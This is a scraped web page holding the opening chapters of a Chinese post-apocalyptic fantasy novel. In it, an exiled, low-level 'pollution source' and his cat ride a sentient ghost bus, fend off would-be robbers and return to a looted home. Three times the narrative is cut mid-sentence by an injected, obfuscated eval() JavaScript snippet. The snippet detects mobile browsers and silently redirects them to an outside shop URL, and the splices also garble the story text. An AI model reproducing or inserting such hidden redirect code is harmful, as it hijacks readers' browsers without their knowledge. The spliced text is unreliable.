《流放后,我成了神域之主》 1. 流放(捉虫) 清云市 下午四点多,还没到傍晚,两弯月亮已经挂在天边,在日光下展露无害的轮廓。 孟星洲徒步走了七个多小时,终于到达目的地。 “到了。” 孟星洲停下脚步,猫从他背包里挤出脑袋,黑耳朵白嘴套,是个黑白奶牛猫,绿莹莹的眼睛看向面前破败的建筑。 清云市客运汽车站。 两年前人来人往的汽车站,末世后空无一人,玻璃门窗东一块西一块地躺在地上,取票口与候车长椅积着一层尘土。 穿过候车大厅,停车场横七竖八停着几辆大巴,已经彻底报废,无法使用。 但汽车站依然在运行,虽然只有一辆“大巴”还在往返—— 孟星洲和猫要在汽车站搭乘幽灵大巴清A·74136,去往清河西镇。 猫叫了一声:“喵?” 孟星洲无障碍理解小猫话:“你问我幽灵大巴是什么样的?” 孟星洲自己也有两年没有搭过74136,想了想:“一辆橙色涂装的大巴车,但那是以前,不知道它现在是什么样子。” 只是不知道经历过末世初期的各种自然灾害,向阳花苑那种老破小还能不能住人。 猫突然扭头对着入口的方向叫了一声。 孟星洲看过去,只听见吱嘎吱嘎的声音远远传来,等了好一会儿,一辆破车开进了破门。 这是一辆大巴车,掉色到发黄的车漆,车牌已经磨得看不太清,四个车轮鼓得鼓,瘪的瘪,滚得一瘸一拐,可以想象车厢内得多颠簸。 虽然面目全非,但孟星洲还是一眼认出了这就是清A·74136。 在末世到来前,孟星洲作为住宿高中生,每两周都会从汽车站乘清A·74136,回到向阳花苑的小家。 孟星洲:“……” 怎么能破成这个样子,不是都变成污染物了吗?看起来混的不太好。 大巴慢慢停在孟星洲面前,嗤一声打开前门。 孟星洲走上车。 大巴驾驶座上空无一人,方向盘却在自行转动。 那方向盘呈现新鲜的肉粉色,高高立在驾驶座前,密密麻麻长着一圈眼睛,确保方向盘无论转到哪个方向都能看清路况,左右后视镜也不是锃亮的镜面,而是拳头大小的人眼,睫毛还挺长。 孟星洲刚在靠窗的位置坐下,车外三个身影一路跑着上了大巴车。 当先的是个寸头,末世里缺水缺粮的情况下,居然看起来还颇为壮实,第二个人一头卷发,落在后面的是个矮个子。 矮个子进门就看见方向盘,一抬头又对上后视镜,眩晕和呕吐感顿时袭上心头。 好在他饿了两天多,胃里空空,没东西可吐,只有胃酸翻几翻,烧得胃疼。 卷发上车就低下头,听到声音皱眉:“心理能力不行就少乱看,会掉精神值。想吐也憋回去,污染车厢算违反乘车规则,别害死我们。” 74136是已知幽灵大巴里脾气最好的一辆,甚至愿意保障乘客的人身安全,但那是建立在遵守乘车规则的基础上。 矮个子捂住嘴,艰难点头。 寸头没管身后两个人,径直往后走,路过前排的时候一眼看到了孟星洲。 他布满血丝的眼珠直勾勾落在了猫和背包上。 他情不自禁地咽了下口水:这人身上竟然有个包,看着鼓囊囊的,还不是个空包。 孟星洲忽然转头,一手抬起帽檐和寸头对上视线。 他穿着一身水洗到发白的黑色工装,人在衣服里像一尊脱胎洁白理石的雕像,苍白细腻,只有嘴唇浮着一层薄薄的血色。 五官又过于优越,以至于有几分非人感。 寸头着了魔一样盯着孟星洲。 孟星洲压下帽檐,将猫往怀里摁了摁。 卷发只看见了孟星洲的裤脚,就迅速收回视线,着急道:“快坐下,要开车了。” 寸头如梦初醒,一路走到最后一排坐下。 清A·74136的喇叭播报:“下一站清河西站,请乘客看管好随身行李及贵重物品,坐稳扶好。” 大巴车哐当哐当地启动,漂移了一阵才稳住车身继续前进。 孟星洲闭上眼睛:“……” 简直想把胃拿出来吐一下。 第一次坐车的猫更是趴在孟星洲腿上一动不动,它瘦巴巴的一只,脑袋无力地搭在孟星洲膝上。 孟星洲闭着眼睛,右手抄进猫肚子下,感受到它柔软腹部依然在起伏,才松一口气。 这只短毛的奶牛猫,只有腹部的毛发格外长。 从被关押到释放,七天的时间水米未进,虽然没死,但身体也到了临界值,导致从不晕车的孟星洲也有些受不了,闭上眼睛开始睡觉。 后排寸头几人差点被甩出去,七手八脚地抓着椅子才勉强坐稳。 大巴开了四十来分钟,寸头终于适应了:“从这儿到清河西要多久?” 卷发脸色:“过清河西桥了,还有十多分钟吧,我们上车的站台就离清河西很近了。” 矮子嗫嚅:“清河西的污染物是不是比清云基地多?那边流放的罪犯多,应该比基地更乱。” “……你不也是因为犯罪被流放的吗?” “欺负普通人和跟流氓罪犯打交道一样?” 卷发男人打断矮个子和寸头的争论:“必须下。清河西是唯一一个适合落脚的站点。到镇子不下车,会被带到【停车场】。那边全都是各种脾气的幽灵大巴,会发生什么可就不知道了。” 卷发打了个寒颤:“清河西再乱至少有据点可以投靠,还有吃有喝,总比自己混好。咱们十一个人出来,还是白天,就被污染物拖走八个了。” 三人同时安静下来。 大部分污染物属于晨昏或夜行性,白日勉强能算安全,晚上如果找不到封闭性良好的庇护所,早晚会被污染物拖出去。 寸头忽然往前排使了个眼色:“那个,身上怎么有个包?” 卷发男皱眉:“小点声!” 他看了眼孟星洲,只能从椅背后看见一动不动的后脑勺。 上车到现在一动不动,应该是睡着了。 卷发低声:“这不是那个污染源吗?” 见寸头一脸困惑,卷发小声补充:“之前一直在处理厂上班的,一周前感染,听说当场被天赋者012抓了。那个包是老规矩,因公流放可以带点东西出来,也就是衣服一类的。别招惹他,毕竟是污染物。” 基地的流放者有两类,一种是违规犯罪,比如他们几个,一种是因为工作而受到污染,也会采取流放的方式。 当然,这也不是赦免,只是死缓而已。基地外没吃没喝,甚至没几个好点的庇护所,到了晚上就会沦为污染物的口粮。 只有搭上清A·74136,才能安全地去往最近的灰色地带:清河西镇。 寸头搓了搓手臂,眼神闪动:“难怪,我看着就像处理厂的衣服。那可是好东西,防风防割防水,弱点的污染物都咬不穿。这个死天,白天还二十多度,四点多就剩几度了,难说晚上会不会零下。” 在末世,保暖且有一定防护效果的衣物都是珍贵物资。 卷发不吭声了:现在四月多,只是早晚温差大,真到了冬天,清云市这种南方城市,都能轻易跌破零下三十度。 他们几个人就穿了短袖短裤,坐在车里感到明显的寒意,只能靠着说话转移注意力。 寸头加紧:“而且那包可是沉甸甸的……” 卷发情不自禁看了眼孟星洲的方向。 心里的念头一旦有了,就觉得寸头的提议根本无法拒绝。 差点被方向盘恶心吐的矮个子闻言,干巴巴地吞咽一下,忍不住说:“我知道他!听说他当时突然觉醒天赋,爆发半径有四五米,结果一个人都没感染成功,就污染了一只猫,污染值低得连一级污染物都算不上,评级是个绿标污染物……” 这能力得多低啊,连最近的人都污染不了,只能祸害一个体重几斤的野猫。 基地以污染值100为界限,低于100划为绿标污染物,难以杀死成年人类。处理厂的主要工作,就是处理这些绿标污染物,降低污染值,使普通人类可以少量摄入污染物,而几乎不被感染。 高于100的才是红标污染物。 在这样的等级划分里,孟星洲甚至连一级污染物都算不上,说难听点,和处理厂卖出去的那些污染物没什么区别。 基地里混得不好的人,常常依靠处理厂售卖的污染物肉块过活,断续地食用一些绿标污染物。 矮个子干涩的口腔情不自禁分泌一点口水:“对,还有那只猫,得有个四五斤吧。” 寸头眼神火热:“咱们又不杀人。他那包里要是有食物,我们拿九成还给他留一点。要是没有……就留下那只猫。” 矮个子直勾勾盯着前排:“是啊,万一有污染物肉块呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538052|203874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣服里应该能藏一块吧?” 说是肉块,矮子脑海里全是那只猫。 寸头看了眼不再吭声的卷发,低声:“等一下车,我们就围住他,直接抢包!咱们人多还用得着怕他?” 寸头甚至都不怕被孟星洲听见,一个绿标污染物,能把他们三个人怎么样? 矮个子眼睛里露出一丝狠意:说得对,这个世道还是自己活着更重要。 听得一清二楚的孟星洲:“……” 虽然有心警告对方,又担心动作太大加重晕车,孟星洲只好继续闭目养神。 希望这几个人在下车前可以意识到,打一个污染物的主意不太聪明。 还要留一些污染值给半死不活的小猫崽。 说话间,清·A74136已经开进清河西镇,方向盘正中紧闭的嘴巴开合:“前方到站清河西站,请下车的乘客提前做好准备。” 寸头紧张地捏起拳头,死死盯着孟星洲的座位。 孟星洲怀里的猫此时突然抬头,竖起两只格外大的耳朵,喵喵叫起来。 做贼心虚的矮个子腿一抖,整个软塌在座椅上。 孟星洲没有关注后排的三个人,他膝上的猫突然将四个小爪揣进腹下,一阵簌簌声后,猫从肚皮下摸出一个笔记本。 只有巴掌大小。 四角黑中间白,封面毛绒绒的,摸起来似乎是某种毛毡制品——事实上确实是猫毛制作。 翻开笔记本,原本空白的笔记本开始一个字一个字往外吐。 雪白的内页和漆黑的方块字都是毛毡质感,字迹的边缘毛绒绒地洇开—— 【已收录都市传闻——奶牛猫 1:被【清云市人形污染源】(已收录)污染的流浪猫。 2:没有更多传言了哦,下次再来看吧。 猫的备注: 还没有被取名字QAQ 天赋【流浪诗人】:每日随机搜集一篇附近的传闻并加以记录(与拥有传闻的主要相关对象距离越近接触越多,触发该对象的传闻概率越高),猫可手动更改传闻内容! 我伟大的主!传闻不一定完全正确,存在搜集到大量错误信息的可能。】 【已收录都市传闻——清云市人形污染源 1:原来是在读高中生,常年戴着口罩和帽子,就算在工厂外面也不摘下遮挡物。 2:据说因为长得很漂亮,依靠容貌对看到面容的普通生物进行精神冲击。 3:污染了一只猫! 4:被天赋者抓捕,和猫一起关进清云市收容所了。 5:测定为绿标污染物,对成年人类没有生命威胁。 6:9月27日被判处流放,可能已经死了吧。 7 :没有更多传言了哦,下次再来看吧。 猫的备注: 辟谣!没有死! 是心软的神!】 这两页是之前就更新的内容,孟星洲已经看过,迅速翻到下一页。 新添加的内容果然与幽灵大巴相关,比他和猫的字数加在一起都多得多。 【已收录都市传闻——幽灵大巴清·A74136 1:末世前就在清云市汽运南站和清河西站间运行的老款客车,车牌号清·A74136,核载人数56人。 2:警告,有杀人记录!红标·15-20级之间的污染物!清云最强天赋者002似乎无法清除这辆大巴。 3:好评!是所有幽灵大巴里唯一一辆不会偷吃乘客的客车!但是不要坐过站,【停车场】是危险的地方。 4:需要遵守文明乘车规则,违反规则会被丢出去。 5:收费!居然收费! 6:坐完全程还是25块,垄断生意也没涨价,太感动了……等等,怎么不找零啊? 7:糟了,逃票会被做成人体椅子。我在靠后门的位置!谁愿意帮我代交车费!还差9块! 8:74136的原装轮子是在大巴拉力赛里输掉的,现在用的都是捡来的破轮子,它对这个很在意,提到“车轮”的话有概率被丢出去(别问我怎么知道的)。 9:没有更多传言了哦,下次再来看吧。 猫的备注: 一米二以下儿童及小动物不收费。 我免费了!】 车费?! 孟星洲下意识摸向口袋,空空如也。 他向后望去,核载56人的大巴车,却有61个座位。 2. 恩赐 清A·74136全车座位蓝布椅套,只有最后一排座位的椅套五花八门——有牛仔、普通聚酯纤维甚至还有皮质的,像从垃圾堆里捡了几件衣服,随便做成了椅套。 这些套着乱糟糟椅套的座位,正好五个。 只是污染物们长得太五花八门了,多出来区区五个座位,根本不是什么值得注意的事情。 孟星洲实在想不到这几个座椅竟然是逃票的乘客。 人体扭曲到座椅的程度,就算补交路费后重获自由,还能变回原来的样子吗? 看来最好还是不要逃票。 孟星洲指尖下滑,停在第七条传闻的“货币”两个字上。 这时候,清A·74136驶过一个广告牌,孟星洲知道还有几分钟就会到达清河西镇的站台。 孟星洲合上笔记本,放回猫肚子上。 猫正仰躺在他膝上,四爪抱住笔记本伸着脑袋舔了几口,几下把笔记本刷成一大把猫毛,爪子扒拉两下就成了一大块长在肚皮上的白毛。 这实在是一只温顺的奶牛猫,爪子收在肉垫里,放松地暴露出肚皮。 在被污染之前,它一直躲在处理厂内部,依靠工厂废弃的边角料果腹,竟然也把自己养得油光水滑。 孟星洲见过它几次,偶尔将废弃的边角料丢给它。 于是这只知恩图报的好猫在孟星洲爆发污染的时候,第一时间凑过去关心,然后成了天赋【污染】的唯一受害者和活体证据,充分证明了该天赋看起来唬人,实际上对大点的狗都没有威胁。 不过【污染】虽然难以直接造成伤害,现在的场合下反而更有用……也许有用。 孟星洲捏了捏手指,他让污染值在体内转了一圈,眩晕感消减大半。 马上要到站,孟星洲必须保证更好的状态来应付后排几个人。 如果寸头几人恰好带了现金,他后下车一定会被围堵。 末世前的货币早就作废,基地不限制废纸出入,孟星洲不敢赌寸头几人的口袋里,会不会有几张陈年旧钞。 “前方到站,清河西镇,请旅客先下后上。” 大巴开始刹车,本来就不稳定的车身喝大了一样胡乱走位,寸头几人不得不抓住座位,以免被颠出去。 矮个子差点在车里飞起来。 寸头一头磕在车窗上,没忍住:“草!” 叮呤咣啷的动静里,孟星洲一手抱起猫,拎起背包甩在肩上,撑着座位站起身,几步站到下车区。 嘎吱—— 刺耳的刹车声后,大巴以在地上搓死自己的气势停住了。 车已经刹停,但前后两扇门依然紧闭。 寸头顾不上头疼,连忙站起来,几步走到孟星洲身后,搭上他的肩膀,咧嘴笑道:“平衡性不错啊,可惜先来也不开门。” 寸头发黄的指甲碰到了猫的耳尖毛。 孟星洲脸色冷了一点,掸开寸头的手。 寸头不敢在幽灵大巴上来硬的,老实收回手臂。 孟星洲看向一旁的立杆,答非所问:“看到这个了吗?” 寸头顺着孟星洲的视线看过去,只见立杆上挂着一只收紧的蓝布口袋,通过拳头粗的管子与车体连接。 口袋在寸头的注视下张开,露出一排排雪白的牙齿。 像一只长满了牙齿的胃。 寸头心里涌起不祥的预感:“什么意思?” 下一秒,大巴车的喇叭代替孟星洲回答了寸头的疑问: “尊敬的乘客,观察到您正在等候下车。您在始发站清云客运汽车站上车,终点站清河西镇下车,共计25点货币,请结清后下车。” 矮个子完全懵了,看向卷发:“车费?你为什么没提前说?!” 卷发额头开始冒汗,直勾勾盯着蓝布口袋:“我怎么知道是要钱的?我也只是听过几个天赋者聊过幽灵大巴,说是个退路可以安全到清河西,从来没人提过车费……” 矮个子翻遍全身所有口袋,身无分文。 他开始发抖:“没、没带钱的话,怎么办?” 大巴喇叭继续发声:“本车禁止逃票,如有无法缴清车费的情况,请加入本车座位还债,直至结清欠款。” “本车每日在始发站与终点站间往返一次,单程1元,一日结算2元。” 孟星洲慢慢打量74156:打工还债也算了,一趟只能还一元,工作环境还很恶劣,比污染物处理厂还黑心。 相比于孟星洲的镇定,卷发就崩溃得多:“什么叫加入座位?” 喇叭没有回话,后排传来怪异的声音。 卷发循着声音看过去。 声音从后排几张座椅下传出来—— 头枕表面的蒙皮高高凸起,甚至映出人类的五官,连竭力长大的嘴部都清晰可见,正向外发出沉闷的“呜呜”声。 仿佛有人被蒙在座椅下,正竭尽全力地伸长脖子,呐喊求救。 什么椅子,那都是人! 矮个子干呕一声。 大巴喇叭立刻补充:“请爱护乘车环境!” 孟星洲趁寸头几人质问大巴,迅速观察蓝布口袋,在口袋底找到了半张“纸钞”。 准确来说,是一张塑封的金钞。 银行在马年发行的黄金钞票,中间新年快乐,右上角马上招财。 孟星洲在处理厂见过这种金钞,有人试图用它兑换污染值更低的肉类。 看来笔记里内容是对的,路费只要求是货币,即等价物,并不限制在现金的范畴。 那么,他的污染值算是污染物之间流通的货币吗? 孟星洲将污染汇集到手心,抬手放在口袋上方。 作为污染源唯一的优点——孟星洲不需要割肉放血,能直接凝聚污染本身。 寸头第一时间注意到孟星洲的动作,什么猫什么背包都忘在脑后,连滚带爬地扑到孟星洲身上:“你有钱对吧?你准备付账是不是?!求求你帮我交吧,我给你当牛做马!” 卷发也反应过来,挤开寸头:“帮我吧!他刚才还想抢你的包!你想,在清河西我们都是外来的,肯定要团结在一起才能活下去。你帮了我就是帮你自己,我以后都听你的话!” 孟星洲侧身,背包往下落了点,被他拎在手里,恰好躲过卷发摸过来的手。 孟星洲语气平静:“没钱。” 确实没钱。 只有污染值。 “不可能!” 人体座椅带来的恐惧完全击垮了寸头,红着眼睛上手硬抢。 孟星洲猜到他要强抢,掂包甩手,背带精准抽中寸头的眼睛。 啪地一声! 也不知道孟星洲哪来这么大的力气,寸头的眼睛简直要爆开,头部后仰,失去平衡后倒地。 卷发盯着孟星洲的手腕,难以想象这副看起来高瘦消减的躯体,居然还能保持这样的状态。 他终于意识到抢劫一个污染源是非常愚蠢的事情。 卷发毫不犹豫,扭头奔向右侧方——那里有个窗户没关! 喇叭急促地响起来:“本次客车禁止逃票!禁止逃票!” 砰砰! 连山车窗砰接连关闭,口袋吐出一条条蓝布,和寸头几人的衣服长在一起,逐渐拉长裹住几人的身体。 卷发挣扎几下无法挣脱,在被衣服彻底蒙住头之后,崩溃道:“你吃我们没用!他才是污染源!!你们污染物不是可以互相吞噬吗?!吃了他你才会变强!” 蓝布缠绕的速度明显慢了下来。 后视镜、摄像头……所有的眼珠一瞬间对准了孟星洲。 一个……污染源。对,今天的车上有个污染源。 非常、非常美味的污染源。明明看起来并不强,但是闻起来的味道简直好极了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538053|203874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>吃了这个人……好像会犯下了不可饶恕的罪过,也能摘下无与伦比的果实。 74136生锈的大脑转动起来:可是,他没有违反乘车规定。 偷吃乘客没有职业道德! 但他闻起来真的太香了…… 偷吃乘客没有职业道德! 但他……他很眼熟? 74136保养不当的车机努力转动,从生锈的记忆里找出孟星洲的身影:在它还没有这么聪明的时候,就经常搭载这个人在市区和清河西镇来回。 它用摄像头观察他,用所有镜面偷看他。 发现他喜欢在右侧靠窗的位置。 每次下车前都顺手带走邻座落下的垃圾,坐过的位置永远干净整洁。 窗户下的一块塑料老化掉屑,被他用同色的防水贴纸遮盖。 … 这是它变聪明以来第一个见到的,还能认出来的老顾客。 孟星洲:“偷吃乘客,违反你的行车规范吧?” 大巴两只后视镜心虚地转开。 孟星洲体内的污染值聚集完毕,在他手心像一团拥挤黏稠的星云,有胶状物的质地,被孟星洲轻轻一捏,顿时四分五裂,流水般顺着手指落入皮口袋中。 天赋【污染】 只有一个功能——污染具象化。 已知的最高级污染物,也只能通过食用或伤口接触污染物的□□两条途径,来传播污染。 但孟星洲手心那些闪着光的“液体”,就是污染本身,吸收一定量值,就会直接发生变异,不需要□□传递。 “污染”全部落入口袋,口袋突然喷出大量彩色泡泡。 咕噜咕噜的气泡穿过大巴底盘,包住四个车轮。 一直左高右低的车厢逐渐水平——是四个轮子的大小在趋近于相同尺寸。 在大巴“滴滴”的喇叭声中,猫肚皮开始传出簌簌的声响。 这是笔记更新的动静。 猫两只前爪揣进肚皮一阵摸索,掏出毛毛笔记本,举到孟星洲面前。 孟星洲接过笔记:“有新内容?” 猫点头。 孟星洲翻开笔记,是幽灵大巴那一页发生了改变: 【已收录都市传闻——幽灵大巴清·A74136 1:末世前就在清云市汽运南站和清河西站间运行的老款客车,车牌号清·A74136,核载人数56人。 … … 8:74136的原装轮子是在大巴拉力赛里输掉的,现在用的都是捡来的破轮子,它对这个很在意,提到“车轮”的话有概率被丢出去(别问我怎么知道的)。 9:喜欢喜欢喜欢喜欢喜欢喜欢……喜欢现在的……孟孟。 10:我将在下一届……拉力赛中……拉爆清A·56837,我要夺回我失去的车轮! 10:赞美您!轮子之神!! 猫的备注: 我主已征服此大巴! 我主已赐福此大巴—— 【车轮收集者】 你非常喜欢车轮?没关系,这很正常,谁没有一些癖好呢? 每消耗1个车轮,将为你的车轮提供一次复原机会。 每消耗100个车轮,可以立刻回到“终点站”或始发站“”一次。】 孟星洲:……轮子之神是什么?他吗? 往下看,孟星洲的视线凝固了——赐福? 什么意思?大巴的天赋是由他带来的吗? 污染物中也只有部分可以觉醒天赋,多数污染物只是强化了受污染前的身体素质。 猫这样的动物,受到污染后应该增加速度或爪子牙齿的杀伤力,而不是【流浪诗人】这种和猫八竿子打不着的天赋。 孟星洲原本以为这是猫本身就是特殊的,现在看来…… 可能是他的污染值比较特殊。 3. 眷属 清云市生存基地 019跟着人群一起穿过楼梯,头顶的灯管闪着不祥的红光。 整个基地除了值班人员,所有天赋者都涌向同一个地方—— 污染物监察所地下室。 这里由监狱改建的污染物牢房,用于收押污染物。 地下室的天花、墙壁、地板……能看见的所有东西都刷满了特质的白色涂料,对弱小或新生的污染物有极强的压制效果,但对完成体的红标污染物,威胁性几乎为零。 先前关在这里的是孟星洲。 这个新生的【污染源】被涂料折磨得不轻,放出去的时候也只剩半条命。 “到底怎么了?” 值班刚结束的019一头雾水。 挨在他身边的020神色紧绷:“002不见了。” 019:“什么玩意儿?!谁不见了?!” 020踩了他一脚:“小点声儿!” 019紧挨着020,震惊地压低声音:“怎么回事,002不是一直特别稳定吗?” 这可是基地最早期的天赋者之一,目前也是基地等级最高的天赋者,更是对抗临近基地超大型污染物的主力,怎么突然就不见了? 020:“七八天前就不稳定了。向基地报告说自己出现了严重的幻听,梦里也会听到一些奇怪的声音,他自己申请进入检查所。” 020顿了一下,“你知道出现严重幻听是天赋者失控的表现之一,最后不是疯了,就是直接被污染占据彻底变成污染物。” 019心里咯噔一下:难怪,最近一周流放出去的人多了不少。基地核心主力出了问题,已经无力监管现有的囚犯和污染物。 “昨天,你前脚刚放生那个小【污染源】,002后脚就失控了。” 020轻声说:“有人看到他往清河西的方向去了。他会吞掉周边一切可吞噬的污染物,包括基地流放的那个小污染源,直到成为领主。” “天赋者的癫狂是不可逆的,我们减少了一个主力,但附近多了一个游荡的污染物。” “1号基地那边到底怎么说?什么时候派人来支援?南边的领主一直在扩张势力范围,眼看要威胁到基地了。” “说是【代行者】已经在路上了。” 019吃惊:“不是申请【观测者】介入吗?【代行者】又是谁?” 020莫名其妙:“我怎么知道,我又不是1号基地的。” 019:“……” 失踪的002,脑子有问题的020,和这种同事待在一块真的有光明的未来吗? …… 从清A·74136下来,孟星洲回头看向大巴。 大巴的四个轮子确实修好了,气鼓鼓地支撑着车体,下一趟乘客的旅途应该会愉快得多。 察觉到孟星洲的视线,大巴往前挪了一点,前脸在孟星洲的肩上蹭了蹭。 孟星洲被它顶得退了两步:“……” 一辆大巴的撒娇,可能只有另一辆大巴才顶得住。 大巴:啊!多么柔弱的主人! 孟星洲拎住差点从肩上掉下去的背包:“你还有什么事?车费我已经结清了。” 大巴的灯咔咔闪动:“感谢您的恩赐,愿为您继续效劳。” “不用,我这里离家很近。” 孟星洲忍了忍,还是没控制住,好奇:“那些逃票的乘客是变成污染物了吗?” 大巴怎么传递污染,汽油算不算体/液? 猫仰躺在孟星洲的臂弯里,怀里抱着它的毛毡笔记,竖着耳朵听。 大巴先是疑惑:“您是说将他们转化为我的眷属吗?我的主,不是谁都像您一样慷慨,转化眷属需要主动付出污染,我一直没有吃饱,不会转化眷属的。” 孟星洲疑惑:“那些人体椅子……” “他们只是……”大巴停顿了一下,形容,“在蹲着,还穿着他们本来的衣服。” 孟星洲构想了那个画面:那不就是扎马步吗?! 猫伸出一只爪子,在笔记上奋笔疾书,将大巴的相关传闻修改得更加精准。 大巴的喇叭质量似乎也好了很多,播放声不再有很多杂音:“按照您种族所制定的分级制度,我只有17级,在您赐福之前也没有天赋,并不是强大的污染物。” 原来大巴有17级,难怪在清云基地附近游荡两年都没被清算。 清云基地最高级天赋者002在20级左右,定期对付基地附近的一只大型污染物已经非常吃力,腾不出手处理大巴。 至于等级分类,孟星洲还真的知道一些。 孟星洲被关押的一周里,每天都会被测定等级,一来二去也了解到基础分级—— 污染值超过一百的红标污染物,依照污染值分出1-50级。 1-10级,每级之间的污染差值100 11-40级,每级之间的污染差值1000 40—50级,每级之间的污染差值5000 孟星洲直到被流放,也只有98点污染值。 据说在清云基地之外,甚至存在超过五十级的天赋者和污染物。 提到天赋,大巴两只大灯放着崇拜的光芒——真的在亮,闪得孟星洲不得不闭起眼睛。 大巴老实关了车灯:“只有领主们才会用自己的污染增加眷属,强大又出名的污染物也会有崇拜牠们的仆从。” “领主。” 孟星洲好奇:“是指那些能占领一片地区的污染物吗?清云基地就接壤一个大型污染物的地盘。” 大巴绞尽机油,为它的新主解释:“五十级以上的污染物都是领主级,但不是每个五十级污染物都能有地盘。” “拥有领地的领主们有些休眠,有些活跃。牠们的仆从与信徒遍布整个领地。所以即便领主们睡着,信徒们也会传播领主的威名。眷属虽然接受领主的污染馈赠,有时候反而与领主是敌对关系。” 孟星洲低头,和猫四目相对。 按照这套理论,猫和大巴是他增加的眷属。 孟星洲脑子里冒出一副场景—— 几十年后,他垂垂老矣,奶牛猫已经进化成超大污染物,指责他不经过猫猫同意擅自传递污染,连累猫和人一起被流放。 猫咪咪喵喵地和信徒们控诉原生家庭,然后每周坐着74136回来殴打他这个空巢污染源。 孟星洲:“……” 猫:“喵?” 您怎么了? 孟星洲赶紧甩掉这个想法:“我要回家了,你们幽灵大巴不是都要去【停车场】吗?” 74136的态度看起来不错,但17级污染物的威胁性太强,不敢确保它饿了会不会上楼吃人,孟星洲不得不防患于未然。 双月高悬,夜晚已经到来,夜行性的污染物总是比日行性更癫狂饥饿。 大巴两个前轮在地上磨蹭几下,两个后视镜都往下垂了一点:“……遵从您的意志。” 它调转车头,挪了一段距离,不知道想到了什么,突然又开心起来,孟星洲甚至听到它的喇叭在放“好日子”。 孟星洲:……在高兴什么? 孟星洲正要合拢笔记,突然瞥见笔记上另一位幽灵大巴“清A·56837”,突然诡异地理解了74136的兴奋点——应该是去找与自己有夺轮之仇的56837炫耀新车轮了。 猫把笔记梳进毛毛里,爬到孟星洲肩上,毛乎乎的脑袋伸到孟星洲脸颊边:“喵嗷?” 我们要回家了吗? 太阳几乎要完全沉下地平线。 孟星洲:“嗯,要回家了。” 他摸了摸猫的脑袋,露出一点笑意,然后加快脚步。 清河西和清云基地一样,目所能及之处没有一棵树木,低矮的植物都被砍伐过半。 一是伐木用于冬日取暖,二是减少绿化,可以间接减少污染物。即便如此,一些繁殖力惊人的污染物还是遍布在看不见的角落,等待太阳彻底下沉。 建筑和道路都破烂了很多。 孟星洲看着沿街的建筑,飞快皱了下眉:向阳花苑还能住人吗? 向阳花苑是安置房,当年政府为了安置拆迁户建造的小区,步梯房,房龄已经快有二十年。 孟家是当年第一批拆迁户。 但孟父孟母没有留在清河西镇,而是用拆迁赔偿金在打工的沿海城市购入了新的房子,落户定居。拆迁剩下一套带阁楼的三居室,给孟奶奶带着孟星洲居住。 没过几年,夫妻俩有了第二个孩子,孟奶奶因为要照顾新生儿,也搬去了临海城市。 孟星洲从十一岁起,就一个人住在向阳花苑。 向阳花苑和清河西站步行也只要十来分钟,孟星洲快步绕过一片后期建成的高层小区,看到了向阳花苑的正门。 大门不翼而飞,小区楼的米色外立面多处破损。 走进小区之后,房子的状况比孟星洲预想中好得多,楼体没有明显的沉降变形,地面上虽然有建筑残骸,但都是住户的违规加盖。 和镇子上一样,小区里几乎没有树木。 大部分单元门都遭到暴力破坏,路上甚至能看到扔出来的防盗门。 孟星洲在建筑垃圾里捡了一节铁丝。 孟家的房子位于12栋2单元,顶楼502室。 孟星洲一路上到五楼,路过的防盗门毫无例外全都敞开,有几家的防盗门甚至倒在地上,看起来是经过了暴力打砸。 孟星洲转了转手里的铁丝,感觉可能用不上。 果然,502的门也开着,所有能拆的木质家具都不翼而飞,只在地上留下灰尘和木屑。 孟星洲关上防盗门,在室内转了一圈。 厨房里的调味料、食物……能用的物资都被洗劫一空,家里所有厚衣服和被子一件不剩。 运气不错的是,阁楼在缺乏维修的情况下,居然没有漏水的迹象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538054|203874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,厨房里还有把质量一般的水果刀。 大约是顶楼闷热,且没有食物,屋子里竟然连一只老鼠都没有。 孟星洲对502的惨状并不意外,他回到一楼,打开背包。 寸头猜的没错,他的包里确实有物资。 是处理厂长求人送礼,才允许孟星洲带出来的四瓶自来水。 孟星洲在路上的便利店里,还找一袋已经过期的干脆面,但只要没有腐坏就还能吃。 孟星洲拧开一瓶水,仰头喝下小半瓶,他喝得有点急,以至于稍稍呛了一口。 猫连忙过来呼噜呼噜地安抚孟星洲。 孟星洲拍拍猫头,从背包里拿出两个猫碗,还有一只容量不足200毫升的小玻璃瓶。 瓶子装了一个底的粘稠液体,在微微的月光下,流动丝绸的光感。 是污染。 孟星洲在猫碗里分别倒了污染和饮用水,猫迫不及待地凑过去吃饭。 孟星洲这才拿了一包干脆面慢慢吃。 无论是食物还是饮用水都太少了,明天一定要出去寻找干净的水源。 清河西的树木被砍得一棵不剩,说明附近一定有据点。 